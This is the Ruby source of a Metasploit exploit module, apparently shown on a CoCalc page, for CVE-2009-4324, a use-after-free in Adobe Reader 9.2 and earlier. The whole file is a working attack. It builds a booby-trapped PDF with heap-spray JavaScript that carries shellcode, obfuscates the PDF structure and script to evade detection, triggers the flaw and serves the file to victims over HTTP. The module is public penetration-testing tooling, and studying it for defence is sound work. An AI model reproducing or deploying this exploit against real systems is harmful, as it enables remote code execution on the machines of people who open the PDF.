CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'zlib'
7

8
class MetasploitModule < Msf::Exploit::Remote
9
  Rank = GoodRanking
10

11
  include Msf::Exploit::Remote::HttpServer::HTML
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
16
      'Description'    => %q{
17
          This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
18
        Professional versions up to and including 9.2.
19
      },
20
      'License'        => MSF_LICENSE,
21
      'Author'         =>
22
        [
23
          'unknown', # Found in the wild
24
          # Metasploit version by:
25
          'hdm',
26
          'pusscat',
27
          'jduck',
28
          'jabra'
29
        ],
30
      'References'     =>
31
        [
32
          [ 'CVE', '2009-4324' ],
33
          [ 'BID', '37331' ],
34
          [ 'OSVDB', '60980' ],
35
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
36
        ],
37
      'DefaultOptions' =>
38
        {
39
          'EXITFUNC' => 'process',
40
        },
41
      'Payload'        =>
42
        {
43
          'Space'         => 1024,
44
          'BadChars'      => "\x00",
45
          'DisableNops'    => true
46
        },
47
      'Platform'       => 'win',
48
      'Targets'        =>
49
        [
50
          # test results (on Windows XP SP3)
51
          # reader 6.0.1 - vulnerable / doesn't work
52
          # reader 7.0.5 - untested
53
          # reader 7.0.8 - untested
54
          # reader 7.0.9 - vulnerable / doesn't work
55
          # reader 7.1.0 - untested
56
          # reader 7.1.1 - untested
57
          # reader 8.0.0 - untested
58
          # reader 8.1.1 - works
59
          # reader 8.1.2 - untested
60
          # reader 8.1.3 - untested
61
          # reader 8.1.4 - untested
62
          # reader 8.1.5 - untested
63
          # reader 8.1.6 - untested
64
          # reader 9.0.0 - untested
65
          # reader 9.1.0 - works
66
          # reader 9.2 - works (no debugger, no DEP)
67
          [ 'Adobe Reader Windows English (JS Heap Spray)',
68
            {
69
              'Size'      => (0x10000/2),
70
              'Ret'       => 0x0c0c0c0c
71
            }
72
          ],
73
          [ 'Adobe Reader Windows German (JS Heap Spray)',
74
            {
75
              'Size'      => (0x10000/2),
76
              'Ret'       => 0x0a0a0a0a
77
            }
78
          ],
79
        ],
80
      'DisclosureDate' => '2009-12-14',
81
      'DefaultTarget'  => 0))
82
  end
83

84

85
  def autofilter
86
    false
87
  end
88

89
  def check_dependencies
90
    use_zlib
91
  end
92

93
  def on_request_uri(cli, request)
94

95
    # Encode the shellcode.
96
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
97

98
    # Make some nops
99
    nops      = Rex::Text.to_unescape([target.ret].pack('V'))
100

101
    # Randomize variables
102
    #
103
    len = 72
104
    rand1  = rand_text_alpha(rand(100) + 1)
105
    rand2  = rand_text_alpha(rand(100) + 1)
106
    rand3  = rand_text_alpha(rand(100) + 1)
107
    rand4  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
108
    rand5  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
109
    randnop = rand_text_alpha(rand(100) + 1)
110

111
    vtbuf = [target.ret].pack('V') * 4
112
    vtbuf << rand_text_alpha(len - vtbuf.length)
113
    vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
114
    retstring  = Rex::Text.to_unescape(vtbuf)
115

116
    # The printd strings are 72 bytes (??)
117
    script = %Q|
118
var #{randnop} = "#{nops}";
119
var #{rand1} = unescape("#{shellcode}");
120
var #{rand2} = unescape(#{randnop});
121
var #{rand3} = unescape("#{retstring}");
122
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
123
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
124
memory=new Array();
125
for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }
126
util.printd("#{rand4}", new Date());
127
util.printd("#{rand5}", new Date());
128
try {this.media.newPlayer(null);} catch(e) {}
129
util.printd(#{rand3}, new Date());
130
|
131
    # Create the pdf
132
    pdf = make_pdf(script)
133

134
    print_status("Sending #{self.name}")
135

136
    send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
137

138
    handler(cli)
139

140
  end
141

142
  def random_non_ascii_string(count)
143
    result = ""
144
    count.times do
145
      result << (rand(128) + 128).chr
146
    end
147
    result
148
  end
149

150
  def io_def(id)
151
    "%d 0 obj" % id
152
  end
153

154
  def io_ref(id)
155
    "%d 0 R" % id
156
  end
157

158
  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
159
  def n_obfu(str)
160
    result = ""
161
    str.scan(/./u) do |c|
162
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
163
        result << "#%x" % c.unpack("C*")[0]
164
      else
165
        result << c
166
      end
167
    end
168
    result
169
  end
170

171
  def ascii_hex_whitespace_encode(str)
172
    result = ""
173
    whitespace = ""
174
    str.each_byte do |b|
175
      result << whitespace << "%02x" % b
176
      whitespace = " " * (rand(3) + 1)
177
    end
178
    result << ">"
179
  end
180

181
  def make_pdf(js)
182

183
    xref = []
184
    eol = "\x0d\x0a"
185
    endobj = "endobj" << eol
186

187

188
    pdf = "%PDF-1.5" << eol
189
    pdf << "%" << random_non_ascii_string(4) << eol
190
    xref << pdf.length
191
    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
192
    xref << pdf.length
193
    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
194
    xref << pdf.length
195
    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
196
    xref << pdf.length
197
    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
198
    xref << pdf.length
199
    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
200
    xref << pdf.length
201
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
202
    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
203
    pdf << "stream" << eol
204
    pdf << compressed << eol
205
    pdf << "endstream" << eol
206
    pdf << endobj
207
    xrefPosition = pdf.length
208
    pdf << "xref" << eol
209
    pdf << "0 %d" % (xref.length + 1) << eol
210
    pdf << "0000000000 65535 f" << eol
211
    xref.each do |index|
212
      pdf << "%010d 00000 n" % index << eol
213
    end
214
    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
215
    pdf << "startxref" << eol
216
    pdf << xrefPosition.to_s() << eol
217
    pdf << "%%EOF" << eol
218

219
  end
220
end
221

222